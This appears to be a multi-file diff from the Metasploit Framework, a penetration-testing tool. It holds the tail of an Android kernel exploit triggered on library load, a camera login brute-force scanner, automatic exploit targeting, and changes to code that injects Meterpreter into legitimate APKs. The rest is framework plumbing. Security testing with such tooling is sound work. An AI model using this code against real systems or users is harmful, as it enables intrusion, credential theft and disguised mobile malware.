|
||||
|
||||
int retval = waiter_exploit();
|
||||
|
||||
LOGV("Exploit result %d\n", retval);
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
|
||||
if (argc > 4) {
|
||||
config_new_samsung = atoi(argv[1]);
|
||||
config_iovstack = atoi(argv[2]);
|
||||
config_offset = atoi(argv[3]);
|
||||
config_force_remove = atoi(argv[4]);
|
||||
}
|
||||
|
||||
init_exploit();
|
||||
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
|
||||
JNIEXPORT jint JNICALL JNI_OnLoad( JavaVM *vm, void *pvt )
|
||||
{
|
||||
JNIEnv *env;
|
||||
LOGV("onload, uid=%d\n", getuid());
|
||||
|
||||
if((*vm)->GetEnv(vm, (void **)&env, JNI_VERSION_1_4) != JNI_OK)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
int pid = fork();
|
||||
if (pid == 0) {
|
||||
init_exploit();
|
||||
}
|
||||
return JNI_VERSION_1_4;
|
||||
}
|
||||
|
||||
JNIEXPORT void JNICALL JNI_OnUnload( JavaVM *vm, void *pvt )
|
||||
{
|
||||
}
|
|
@ -46,7 +46,7 @@ Feature: Help command
|
|||
------- -----------
|
||||
advanced Displays advanced options for one or more modules
|
||||
back Move back from the current context
|
||||
edit Edit the current module with $VISUAL or $EDITOR
|
||||
edit Edit the current module with the preferred editor
|
||||
info Displays information about one or more modules
|
||||
loadpath Searches for and loads modules from a path
|
||||
options Displays global options or for one or more modules
|
||||
|
|
|
@ -0,0 +1,119 @@
|
|||
require 'metasploit/framework/login_scanner/http'
|
||||
require 'digest'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
class BavisionCameras < HTTP
|
||||
|
||||
DEFAULT_PORT = 80
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
|
||||
|
||||
|
||||
# Checks if the target is BAVision Camera's web server. The login module should call this.
|
||||
#
|
||||
# @return [Boolean] TrueClass if target is SWG, otherwise FalseClass
|
||||
def check_setup
|
||||
login_uri = normalize_uri("#{uri}")
|
||||
res = send_request({'uri'=> login_uri})
|
||||
|
||||
if res && res.headers['WWW-Authenticate'].match(/realm="IPCamera Login"/)
|
||||
return true
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
|
||||
# Auth to the server using digest auth
|
||||
def try_digest_auth(cred)
|
||||
login_uri = normalize_uri("#{uri}")
|
||||
res = send_request({
|
||||
'uri' => login_uri,
|
||||
'credential' => cred,
|
||||
'DigestAuthIIS' => false,
|
||||
'headers' => {'Accept'=> '*/*'}
|
||||
})
|
||||
|
||||
digest = digest_auth(cred.public, cred.private, res.headers)
|
||||
|
||||
res = send_request({
|
||||
'uri' => login_uri,
|
||||
'headers' => {
|
||||
'Authorization' => digest
|
||||
}})
|
||||
|
||||
if res && res.code == 200 && res.body =~ /hy\-cgi\/user\.cgi/
|
||||
return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => res.body}
|
||||
end
|
||||
|
||||
{:status => LOGIN_STATUS::INCORRECT, :proof => res.body}
|
||||
end
|
||||
|
||||
# The Rex HTTP Digest auth is making the camera server to refuse to respond for some reason.
|
||||
# The API also fails to generate the CNONCE parameter (bug), which makes it unsuitable for
|
||||
# our needs, therefore we have our own implementation of digest auth.
|
||||
def digest_auth(user, password, response)
|
||||
nonce_count = 1
|
||||
cnonce = Digest::MD5.hexdigest("%x" % (Time.now.to_i + rand(65535)))
|
||||
|
||||
response['www-authenticate'] =~ /^(\w+) (.*)/
|
||||
|
||||
params = {}
|
||||
$2.gsub(/(\w+)="(.*?)"/) { params[$1] = $2 }
|
||||
|
||||
a_1 = "#{user}:#{params['realm']}:#{password}"
|
||||
a_2 = "GET:#{uri}"
|
||||
request_digest = ''
|
||||
request_digest << Digest::MD5.hexdigest(a_1)
|
||||
request_digest << ':' << params['nonce']
|
||||
request_digest << ':' << ('%08x' % nonce_count)
|
||||
request_digest << ':' << cnonce
|
||||
request_digest << ':' << params['qop']
|
||||
request_digest << ':' << Digest::MD5.hexdigest(a_2)
|
||||
|
||||
header = []
|
||||
header << "Digest username=\"#{user}\""
|
||||
header << "realm=\"#{params['realm']}\""
|
||||
header << "qop=#{params['qop']}"
|
||||
header << "uri=\"/\""
|
||||
header << "nonce=\"#{params['nonce']}\""
|
||||
header << "nc=#{'%08x' % nonce_count}"
|
||||
header << "cnonce=\"#{cnonce}\""
|
||||
header << "response=\"#{Digest::MD5.hexdigest(request_digest)}\""
|
||||
|
||||
header * ', '
|
||||
end
|
||||
|
||||
|
||||
# Attempts to login to the camera. This is called first.
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Result] A Result object indicating success or failure
|
||||
def attempt_login(credential)
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||
proof: nil,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
}
|
||||
|
||||
begin
|
||||
result_opts.merge!(try_digest_auth(credential))
|
||||
rescue ::Rex::ConnectionError => e
|
||||
# Something went wrong during login. 'e' knows what's up.
|
||||
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
|
||||
end
|
||||
|
||||
Result.new(result_opts)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -30,7 +30,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
VERSION = "4.13.11"
|
||||
VERSION = "4.13.16"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
|
|
@ -407,7 +407,23 @@ class ReadableText
|
|||
next if (opt.evasion?)
|
||||
next if (missing && opt.valid?(val))
|
||||
|
||||
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ]
|
||||
desc = opt.desc.dup
|
||||
|
||||
# Hint at RPORT proto by regexing mixins
|
||||
if name == 'RPORT' && opt.kind_of?(Msf::OptPort)
|
||||
mod.class.included_modules.each do |m|
|
||||
case m.name
|
||||
when /tcp/i, /HttpClient$/
|
||||
desc << ' (TCP)'
|
||||
break
|
||||
when /udp/i
|
||||
desc << ' (UDP)'
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", desc ]
|
||||
end
|
||||
|
||||
return tbl.to_s
|
||||
|
|
|
@ -277,8 +277,23 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
|||
#
|
||||
# Explicitly runs a command in the meterpreter console.
|
||||
#
|
||||
def run_cmd(cmd)
|
||||
console.run_single(cmd)
|
||||
def run_cmd(cmd,output_object=nil)
|
||||
stored_output_state = nil
|
||||
# If the user supplied an Output IO object, then we tell
|
||||
# the console to use that, while saving it's previous output/
|
||||
if output_object
|
||||
stored_output_state = console.output
|
||||
console.send(:output=, output_object)
|
||||
end
|
||||
success = console.run_single(cmd)
|
||||
# If we stored the previous output object of the channel
|
||||
# we restore it here to put everything back the way we found it
|
||||
# We re-use the conditional above, because we expect in many cases for
|
||||
# the stored state to actually be nil here.
|
||||
if output_object
|
||||
console.send(:output=,stored_output_state)
|
||||
end
|
||||
success
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -51,6 +51,48 @@ module Scriptable
|
|||
raise NotImplementedError
|
||||
end
|
||||
|
||||
#
|
||||
# Maps legacy Meterpreter script names to replacement post modules
|
||||
def legacy_script_to_post_module(script_name)
|
||||
{
|
||||
'autoroute' => 'post/windows/manage/autoroute',
|
||||
'checkvm' => 'post/windows/gather/checkvm',
|
||||
'duplicate' => 'post/windows/manage/multi_meterpreter_inject',
|
||||
'enum_chrome' => 'post/windows/gather/enum_chrome',
|
||||
'enum_firefox' => 'post/windows/gather/enum_firefox',
|
||||
'enum_logged_on_users' => 'post/windows/gather/enum_logged_on_users',
|
||||
'enum_powershell_env' => 'post/windows/gather/enum_powershell_env',
|
||||
'enum_putty' => 'post/windows/gather/enum_putty_saved_sessions',
|
||||
'enum_shares' => 'post/windows/gather/enum_shares',
|
||||
'file_collector' => 'post/windows/gather/enum_files',
|
||||
'get_application_list' => 'post/windows/gather/enum_applications',
|
||||
'getcountermeasure' => 'post/windows/manage/killav',
|
||||
'get_filezilla_creds' => 'post/windows/gather/credentials/filezilla_server',
|
||||
'getgui' => 'post/windows/manage/enable_rdp',
|
||||
'get_local_subnets' => 'post/windows/manage/autoroute',
|
||||
'get_valid_community' => 'post/windows/gather/enum_snmp',
|
||||
'getvncpw' => 'post/windows/gather/credentials/vnc',
|
||||
'hashdump' => 'post/windows/gather/smart_hashdump',
|
||||
'hostsedit' => 'post/windows/manage/inject_host',
|
||||
'keylogrecorder' => 'post/windows/capture/keylog_recorder',
|
||||
'killav' => 'post/windows/manage/killav',
|
||||
'metsvc' => 'post/windows/manage/persistence_exe',
|
||||
'migrate' => 'post/windows/manage/migrate',
|
||||
'packetrecorder' => 'post/windows/manage/rpcapd_start',
|
||||
'persistence' => 'post/window/manager/persistence_exe',
|
||||
'prefetchtool' => 'post/windows/gather/enum_prefetch',
|
||||
'remotewinenum' => 'post/windows/gather/wmic_command',
|
||||
'schelevator' => 'exploits/windows/local/ms10_092_schelevator',
|
||||
'screenspy' => 'post/windows/gather/screen_spy',
|
||||
'screen_unlock' => 'post/windows/escalate/screen_unlock',
|
||||
'search_dwld' => 'post/windows/gather/enum_files',
|
||||
'service_permissions_escalate' => 'exploits/windows/local/service_permissions',
|
||||
'uploadexec' => 'post/windows/manage/download_exec',
|
||||
'webcam' => 'post/windows/manage/webcam',
|
||||
'wmic' => 'post/windows/gather/wmic_command',
|
||||
}[script_name]
|
||||
end
|
||||
|
||||
#
|
||||
# Executes the supplied script, Post module, or local Exploit module with
|
||||
# arguments +args+
|
||||
|
@ -58,6 +100,8 @@ module Scriptable
|
|||
# Will search the script path.
|
||||
#
|
||||
def execute_script(script_name, *args)
|
||||
post_module = legacy_script_to_post_module(script_name)
|
||||
script_name = post_module if !post_module.nil?
|
||||
mod = framework.modules.create(script_name)
|
||||
if mod
|
||||
# Don't report module run events here as it will be taken care of
|
||||
|
|
|
@ -43,16 +43,41 @@ module Auxiliary::UDPScanner
|
|||
datastore['BATCHSIZE'].to_i
|
||||
end
|
||||
|
||||
def udp_sock(ip, port)
|
||||
@udp_socks_mutex.synchronize do
|
||||
key = "#{ip}:#{port}"
|
||||
unless @udp_socks.key?(key)
|
||||
@udp_socks[key] =
|
||||
Rex::Socket::Udp.create({
|
||||
'LocalHost' => datastore['CHOST'] || nil,
|
||||
'LocalPort' => datastore['CPORT'] || 0,
|
||||
'PeerHost' => ip,
|
||||
'PeerPort' => port,
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
||||
})
|
||||
add_socket(@udp_socks[key])
|
||||
end
|
||||
return @udp_socks[key]
|
||||
end
|
||||
end
|
||||
|
||||
def cleanup_udp_socks
|
||||
@udp_socks_mutex.synchronize do
|
||||
@udp_socks.each do |key, sock|
|
||||
@udp_socks.delete(key)
|
||||
remove_socket(sock)
|
||||
sock.close
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Start scanning a batch of IP addresses
|
||||
def run_batch(batch)
|
||||
@udp_sock = Rex::Socket::Udp.create({
|
||||
'LocalHost' => datastore['CHOST'] || nil,
|
||||
'LocalPort' => datastore['CPORT'] || 0,
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
||||
})
|
||||
add_socket(@udp_sock)
|
||||
@udp_socks = {}
|
||||
@udp_socks_mutex = Mutex.new
|
||||
|
||||
@udp_send_count = 0
|
||||
@interval_mutex = Mutex.new
|
||||
|
||||
# Provide a hook for pre-scanning setup
|
||||
scanner_prescan(batch)
|
||||
|
@ -95,9 +120,10 @@ module Auxiliary::UDPScanner
|
|||
def scanner_send(data, ip, port)
|
||||
|
||||
resend_count = 0
|
||||
sock = nil
|
||||
begin
|
||||
|
||||
@udp_sock.sendto(data, ip, port, 0)
|
||||
sock = udp_sock(ip, port)
|
||||
sock.send(data, 0)
|
||||
|
||||
rescue ::Errno::ENOBUFS
|
||||
resend_count += 1
|
||||
|
@ -112,15 +138,16 @@ module Auxiliary::UDPScanner
|
|||
|
||||
retry
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED
|
||||
# This fires for host unreachable, net unreachable, and broadcast sends
|
||||
# We can safely ignore all of these for UDP sends
|
||||
end
|
||||
|
||||
@udp_send_count += 1
|
||||
|
||||
if @udp_send_count % datastore['ScannerRecvInterval'] == 0
|
||||
scanner_recv(0.1)
|
||||
@interval_mutex.synchronize do
|
||||
@udp_send_count += 1
|
||||
if @udp_send_count % datastore['ScannerRecvInterval'] == 0
|
||||
scanner_recv(0.1)
|
||||
end
|
||||
end
|
||||
|
||||
true
|
||||
|
@ -129,29 +156,38 @@ module Auxiliary::UDPScanner
|
|||
# Process incoming packets and dispatch to the module
|
||||
# Ensure a response flood doesn't trap us in a loop
|
||||
# Ignore packets outside of our project's scope
|
||||
def scanner_recv(timeout=0.1)
|
||||
def scanner_recv(timeout = 0.1)
|
||||
queue = []
|
||||
while (res = @udp_sock.recvfrom(65535, timeout))
|
||||
start = Time.now
|
||||
while Time.now - start < timeout do
|
||||
readable, _, _ = ::IO.select(@udp_socks.values, nil, nil, timeout)
|
||||
if readable
|
||||
for sock in readable
|
||||
res = sock.recvfrom(65535, timeout)
|
||||
|
||||
# Ignore invalid responses
|
||||
break if not res[1]
|
||||
# Ignore invalid responses
|
||||
break if not res[1]
|
||||
|
||||
# Ignore empty responses
|
||||
next if not (res[0] and res[0].length > 0)
|
||||
# Ignore empty responses
|
||||
next if not (res[0] and res[0].length > 0)
|
||||
|
||||
# Trim the IPv6-compat prefix off if needed
|
||||
shost = res[1].sub(/^::ffff:/, '')
|
||||
# Trim the IPv6-compat prefix off if needed
|
||||
shost = res[1].sub(/^::ffff:/, '')
|
||||
|
||||
# Ignore the response if we have a boundary
|
||||
next unless inside_workspace_boundary?(shost)
|
||||
# Ignore the response if we have a boundary
|
||||
next unless inside_workspace_boundary?(shost)
|
||||
|
||||
queue << [res[0], shost, res[2]]
|
||||
queue << [res[0], shost, res[2]]
|
||||
|
||||
if queue.length > datastore['ScannerRecvQueueLimit']
|
||||
break
|
||||
if queue.length > datastore['ScannerRecvQueueLimit']
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
cleanup_udp_socks
|
||||
|
||||
queue.each do |q|
|
||||
scanner_process(*q)
|
||||
end
|
||||
|
|
|
@ -55,6 +55,7 @@ module HttpClients
|
|||
SAFARI = "Safari"
|
||||
OPERA = "Opera"
|
||||
CHROME = "Chrome"
|
||||
EDGE = "Edge"
|
||||
|
||||
UNKNOWN = "Unknown"
|
||||
end
|
||||
|
|
|
@ -124,8 +124,6 @@ module Msf::DBManager::Connection
|
|||
ActiveRecord::Base.connection.active?
|
||||
}
|
||||
rescue ActiveRecord::ConnectionNotEstablished, PG::ConnectionBad => error
|
||||
elog("Connection not established: #{error.class} #{error}:\n#{error.backtrace.join("\n")}")
|
||||
|
||||
false
|
||||
end
|
||||
end
|
||||
|
|
|
@ -181,6 +181,16 @@ module Msf::DBManager::Host
|
|||
opts[:name] = opts[:name][0,255]
|
||||
end
|
||||
|
||||
if opts[:os_name]
|
||||
os_name, os_flavor = split_windows_os_name(opts[:os_name])
|
||||
opts[:os_name] = os_name if os_name.present?
|
||||
if opts[:os_flavor].present?
|
||||
opts[:os_flavor] = os_flavor + opts[:os_flavor]
|
||||
else
|
||||
opts[:os_flavor] = os_flavor
|
||||
end
|
||||
end
|
||||
|
||||
opts.each { |k,v|
|
||||
if (host.attribute_names.include?(k.to_s))
|
||||
unless host.attribute_locked?(k.to_s)
|
||||
|
@ -213,6 +223,13 @@ module Msf::DBManager::Host
|
|||
}
|
||||
end
|
||||
|
||||
def split_windows_os_name(os_name)
|
||||
return [] if os_name.nil?
|
||||
flavor_match = os_name.match(/Windows\s+(.*)/)
|
||||
return [] if flavor_match.nil?
|
||||
["Windows", flavor_match.captures.first]
|
||||
end
|
||||
|
||||
#
|
||||
# Update a host's attributes via semi-standardized sysinfo hash (Meterpreter)
|
||||
#
|
||||
|
@ -273,7 +290,8 @@ module Msf::DBManager::Host
|
|||
end
|
||||
|
||||
if info['OS'] =~ /^Windows\s*([^\(]+)\(([^\)]+)\)/i
|
||||
res[:os_name] = "Windows #{$1.strip}"
|
||||
res[:os_name] = "Windows"
|
||||
res[:os_flavor] = $1.strip
|
||||
build = $2.strip
|
||||
|
||||
if build =~ /Service Pack (\d+)/
|
||||
|
|
|
@ -162,6 +162,8 @@ class Exploit < Msf::Module
|
|||
#
|
||||
###
|
||||
class Remote < Exploit
|
||||
require 'msf/core/exploit/auto_target'
|
||||
include Msf::Exploit::AutoTarget
|
||||
|
||||
#
|
||||
# Initializes the socket array.
|
||||
|
@ -285,9 +287,25 @@ class Exploit < Msf::Module
|
|||
# to the information hash.
|
||||
super(info)
|
||||
|
||||
# Skip this whole routine if there are no targets
|
||||
unless info['Targets'].nil?
|
||||
# Add an Automatic Target to the Exploit if it doesn't have one
|
||||
unless has_auto_target?(info['Targets'])
|
||||
# Don't add the automatic target unless there's already more than one target to pick from
|
||||
if info['Targets'].count > 1
|
||||
# Finally, only add the target if there is a remote host option
|
||||
if self.respond_to?(:rhost)
|
||||
auto = ["Automatic", { 'AutoGenerated' => true}]
|
||||
info['Targets'].unshift(auto)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
self.targets = Rex::Transformer.transform(info['Targets'], Array,
|
||||
[ Target ], 'Targets')
|
||||
self.default_target = info['DefaultTarget']
|
||||
self.default_target = info['DefaultTarget'] || 0
|
||||
self.payload_info = info['Payload'] || {}
|
||||
self.successful = false
|
||||
self.session_count = 0
|
||||
|
@ -321,6 +339,14 @@ class Exploit < Msf::Module
|
|||
], Msf::Exploit)
|
||||
end
|
||||
|
||||
def has_auto_target?(targets=[])
|
||||
target_names = targets.collect { |target| target.first}
|
||||
target_names.each do |target|
|
||||
return true if target =~ /Automatic/
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Core exploit interface
|
||||
|
@ -665,8 +691,21 @@ class Exploit < Msf::Module
|
|||
# default target, that one will be automatically used.
|
||||
#
|
||||
def target
|
||||
target_idx = target_index
|
||||
if self.respond_to?(:auto_targeted_index)
|
||||
if auto_target?
|
||||
auto_idx = auto_targeted_index
|
||||
if auto_idx.present?
|
||||
datastore['TARGET'] = auto_idx
|
||||
else
|
||||
# If our inserted Automatic Target was selected but we failed to
|
||||
# find a suitable target, we just grab the original first target.
|
||||
datastore['TARGET'] = 1
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
target_idx = target_index
|
||||
return (target_idx) ? targets[target_idx.to_i] : nil
|
||||
end
|
||||
|
||||
|
@ -676,9 +715,10 @@ class Exploit < Msf::Module
|
|||
def target_index
|
||||
target_idx = datastore['TARGET']
|
||||
|
||||
default_idx = default_target || 0
|
||||
# Use the default target if one was not supplied.
|
||||
if (target_idx == nil and default_target and default_target >= 0)
|
||||
target_idx = default_target
|
||||
if (target_idx == nil and default_idx and default_idx >= 0)
|
||||
target_idx = default_idx
|
||||
end
|
||||
return (target_idx) ? target_idx.to_i : nil
|
||||
end
|
||||
|
|
|
@ -0,0 +1,120 @@
|
|||
|
||||
module Msf
|
||||
module Exploit::AutoTarget
|
||||
|
||||
# Checks to see if the auto-generated Automatic Targeting
|
||||
# has been selected. If the module had an already defined
|
||||
# Automatic target, then we let the module handle the targeting
|
||||
# itself.
|
||||
#
|
||||
# @return [Boolean] whether or not to use our automatic targeting routine
|
||||
def auto_target?
|
||||
selected_target = targets[target_index]
|
||||
return false if selected_target.nil?
|
||||
if selected_target.name =~ /Automatic/ && selected_target['AutoGenerated'] == true && auto_target_host
|
||||
true
|
||||
else
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
# Returns the Target Index of the automatically selected Target from
|
||||
# our Automatic Targeting routine.
|
||||
#
|
||||
# @return [Integer] the index of the selected Target
|
||||
# @return [nil] if no target could be selected
|
||||
def auto_targeted_index
|
||||
selected_target = select_target
|
||||
return nil if selected_target.nil?
|
||||
targets.each_with_index do |target, index|
|
||||
return index if target == selected_target
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
# Chooses the best possible Target for what we know about
|
||||
# the targeted host.
|
||||
#
|
||||
# @return [Msf::Module::Target] the Target that our automatic routine selected
|
||||
def select_target
|
||||
return nil unless auto_target?
|
||||
host_record = auto_target_host
|
||||
return nil if host_record.nil?
|
||||
filtered_targets = filter_by_os(host_record)
|
||||
filtered_targets.first
|
||||
end
|
||||
|
||||
# Finds an <Mdm::Host> for the RHOST if one exists
|
||||
#
|
||||
# @return [Mdm:Host] the Host record if one exists
|
||||
# @return [nil] if no Host record is present, or the DB is not active
|
||||
def auto_target_host
|
||||
return nil unless self.respond_to?(:rhost)
|
||||
return nil unless framework.db.active
|
||||
current_workspace = framework.db.find_workspace(self.workspace)
|
||||
current_workspace.hosts.where(address: rhost).first
|
||||
end
|
||||
|
||||
# Returns the best matching Targets based on the target host's
|
||||
# OS information. It looks at the OS Family, OS Name, and OS SP.
|
||||
#
|
||||
# @param host_record [Mdm::Host] the target host record
|
||||
# @return [Array<Msf::Module::Target>] an array of matching targets
|
||||
def filter_by_os(host_record)
|
||||
filtered_by_family = filter_by_os_family(host_record)
|
||||
filtered_by_name = filter_by_os_name(filtered_by_family, host_record)
|
||||
# If Filtering by name gave us no results, then we reset back to the family filter group
|
||||
filtered_by_name = filtered_by_family if filtered_by_name.empty?
|
||||
filtered_by_sp = filter_by_os_sp(filtered_by_name,host_record)
|
||||
# If Filtering by SP was a bust, revert back one level
|
||||
filtered_by_sp = filtered_by_name if filtered_by_sp.empty?
|
||||
filtered_by_sp
|
||||
end
|
||||
|
||||
# Returns all Targets that match the target host's OS Family
|
||||
# e.g Windows, Linux, OS X, etc
|
||||
#
|
||||
# @param host_record [Mdm::Host] the target host record
|
||||
# @return [Array<Msf::Module::Target>] an array of matching targets
|
||||
def filter_by_os_family(host_record)
|
||||
return [] if host_record.os_family.blank?
|
||||
filtered_targets = targets.collect do |target|
|
||||
if target.name =~ /#{host_record.os_family}/
|
||||
target
|
||||
else
|
||||
nil
|
||||
end
|
||||
end
|
||||
filtered_targets.compact
|
||||
end
|
||||
|
||||
# Returns all Targets that match the target host's OS Name
|
||||
# e.g Windows 7, Windows XP, Windows Vista, etc
|
||||
#
|
||||
# @param potential_targets [Array<Msf::Module::Target>] the filtered targets that we wish to filter further
|
||||
# @param host_record [Mdm::Host] the target host record
|
||||
# @return [Array<Msf::Module::Target>] an array of matching targets
|
||||
def filter_by_os_name(potential_targets, host_record)
|
||||
return [] if host_record.os_name.blank?
|
||||
filtered_targets = []
|
||||
potential_targets.each do |target|
|
||||
filtered_targets << target if target.name =~ /#{host_record.os_name}/
|
||||
end
|
||||
filtered_targets
|
||||
end
|
||||
|
||||
# Returns all Targets that match the target host's OS SP
|
||||
#
|
||||
# @param potential_targets [Array<Msf::Module::Target>] the filtered targets that we wish to filter further
|
||||
# @param host_record [Mdm::Host] the target host record
|
||||
# @return [Array<Msf::Module::Target>] an array of matching targets
|
||||
def filter_by_os_sp(potential_targets, host_record)
|
||||
return [] if host_record.os_sp.blank?
|
||||
filtered_targets = []
|
||||
potential_targets.each do |target|
|
||||
filtered_targets << target if target.name =~ /#{host_record.os_sp}/
|
||||
end
|
||||
filtered_targets
|
||||
end
|
||||
end
|
||||
end
|
|
@ -80,10 +80,6 @@ module Exploit::Remote::HttpClient
|
|||
)
|
||||
register_autofilter_ports([ 80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443 ])
|
||||
register_autofilter_services(%W{ http https })
|
||||
|
||||
# Used by digest auth
|
||||
@cnonce = make_cnonce
|
||||
@nonce_count = -1
|
||||
end
|
||||
|
||||
|
||||
|
@ -769,10 +765,6 @@ module Exploit::Remote::HttpClient
|
|||
fprint[:signature]
|
||||
end
|
||||
|
||||
def make_cnonce
|
||||
Digest::MD5.hexdigest "%x" % (Time.now.to_i + rand(65535))
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :client
|
||||
|
|
|
@ -151,7 +151,11 @@ module Exploit::Remote::FirefoxPrivilegeEscalation
|
|||
|
||||
# @return [Boolean] the user has selected a javascript (non-native) target
|
||||
def js_target?
|
||||
target.arch[0] == ARCH_FIREFOX
|
||||
if target.arch
|
||||
target.arch[0] == ARCH_FIREFOX
|
||||
else
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -68,7 +68,7 @@ class Msf::Payload::Apk
|
|||
}
|
||||
end
|
||||
|
||||
def fix_manifest(tempdir)
|
||||
def fix_manifest(tempdir, package)
|
||||
#Load payload's manifest
|
||||
payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml")
|
||||
payload_permissions = payload_manifest.xpath("//manifest/uses-permission")
|
||||
|
@ -98,8 +98,12 @@ class Msf::Payload::Apk
|
|||
end
|
||||
|
||||
application = original_manifest.at_xpath('/manifest/application')
|
||||
application << payload_manifest.at_xpath('/manifest/application/receiver').to_xml
|
||||
application << payload_manifest.at_xpath('/manifest/application/service').to_xml
|
||||
receiver = payload_manifest.at_xpath('/manifest/application/receiver')
|
||||
service = payload_manifest.at_xpath('/manifest/application/service')
|
||||
receiver.attributes["name"].value = package + receiver.attributes["name"].value
|
||||
service.attributes["name"].value = package + service.attributes["name"].value
|
||||
application << receiver.to_xml
|
||||
application << service.to_xml
|
||||
|
||||
File.open("#{tempdir}/original/AndroidManifest.xml", "wb") { |file| file.puts original_manifest.to_xml }
|
||||
end
|
||||
|
@ -207,6 +211,7 @@ class Msf::Payload::Apk
|
|||
FileUtils.rm Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/R*.smali")
|
||||
|
||||
package = amanifest.xpath("//manifest").first['package']
|
||||
package = package + ".#{Rex::Text::rand_text_alpha_lower(5)}"
|
||||
package_slash = package.gsub(/\./, "/")
|
||||
print_status "Adding payload as package #{package}\n"
|
||||
payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali")
|
||||
|
@ -232,7 +237,7 @@ class Msf::Payload::Apk
|
|||
injected_apk = "#{tempdir}/output.apk"
|
||||
aligned_apk = "#{tempdir}/aligned.apk"
|
||||
print_status "Poisoning the manifest with meterpreter permissions..\n"
|
||||
fix_manifest(tempdir)
|
||||
fix_manifest(tempdir, package)
|
||||
|
||||
print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
|
||||
run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")
|
||||
|
|
|
@ -68,6 +68,10 @@ class PluginManager < Array
|
|||
Kernel.load(path + ".rb")
|
||||
end
|
||||
|
||||
# Force unloading if already loaded
|
||||
plugin = self.find { |p| p.class == klass }
|
||||
unload(plugin) if plugin
|
||||
|
||||
# Create an instance of the plugin and let it initialize
|
||||
instance = klass.create(framework, opts)
|
||||
|
||||
|
|
|
@ -17,32 +17,32 @@ class RPC_Plugin < RPC_Base
|
|||
# # Load the nexpose plugin
|
||||
# rpc.call('plugin.load', 'nexpose')
|
||||
def rpc_load(path, xopts = {})
|
||||
opts = {}
|
||||
opts = {}
|
||||
|
||||
xopts.each do |k,v|
|
||||
xopts.each do |k, v|
|
||||
if k.class == String
|
||||
opts[k.to_sym] = v
|
||||
end
|
||||
end
|
||||
|
||||
if (path !~ /#{File::SEPARATOR}/)
|
||||
if path !~ /#{File::SEPARATOR}/
|
||||
plugin_file_name = path
|
||||
|
||||
# If the plugin isn't in the user direcotry (~/.msf3/plugins/), use the base
|
||||
path = Msf::Config.user_plugin_directory + File::SEPARATOR + plugin_file_name
|
||||
if not File.exist?( path + ".rb" )
|
||||
if not File.exist?(path + ".rb")
|
||||
# If the following "path" doesn't exist it will be caught when we attempt to load
|
||||
path = Msf::Config.plugin_directory + File::SEPARATOR + plugin_file_name
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
if (inst = self.framework.plugins.load(path, opts))
|
||||
return { "result" => "success" }
|
||||
if self.framework.plugins.load(path, opts)
|
||||
return { "result" => "success" }
|
||||
end
|
||||
rescue ::Exception => e
|
||||
elog("Error loading plugin #{path}: #{e}\n\n#{e.backtrace.join("\n")}", src = 'core', level = 0, from = caller)
|
||||
return { "result" => "failure" }
|
||||
elog("Error loading plugin #{path}: #{e}\n\n#{e.backtrace.join("\n")}", 'core', 0, caller)
|
||||
return { "result" => "failure" }
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -57,15 +57,16 @@ class RPC_Plugin < RPC_Base
|
|||
# @example Here's how you would use this from the client:
|
||||
# rpc.call('plugin.unload', 'nexpose')
|
||||
def rpc_unload(name)
|
||||
self.framework.plugins.each { |plugin|
|
||||
# Unload the plugin if it matches the name we're searching for
|
||||
if (plugin.name == name)
|
||||
self.framework.plugins.unload(plugin)
|
||||
return { "result" => "success" }
|
||||
end
|
||||
}
|
||||
return { "result" => "failure" }
|
||||
# Find a plugin within the plugins array
|
||||
plugin = self.framework.plugins.find { |p| p.name == name }
|
||||
|
||||
# Unload the plugin if it matches the name we're searching for
|
||||
if plugin
|
||||
self.framework.plugins.unload(plugin)
|
||||
return { "result" => "success" }
|
||||
end
|
||||
|
||||
{ "result" => "failure" }
|
||||
end
|
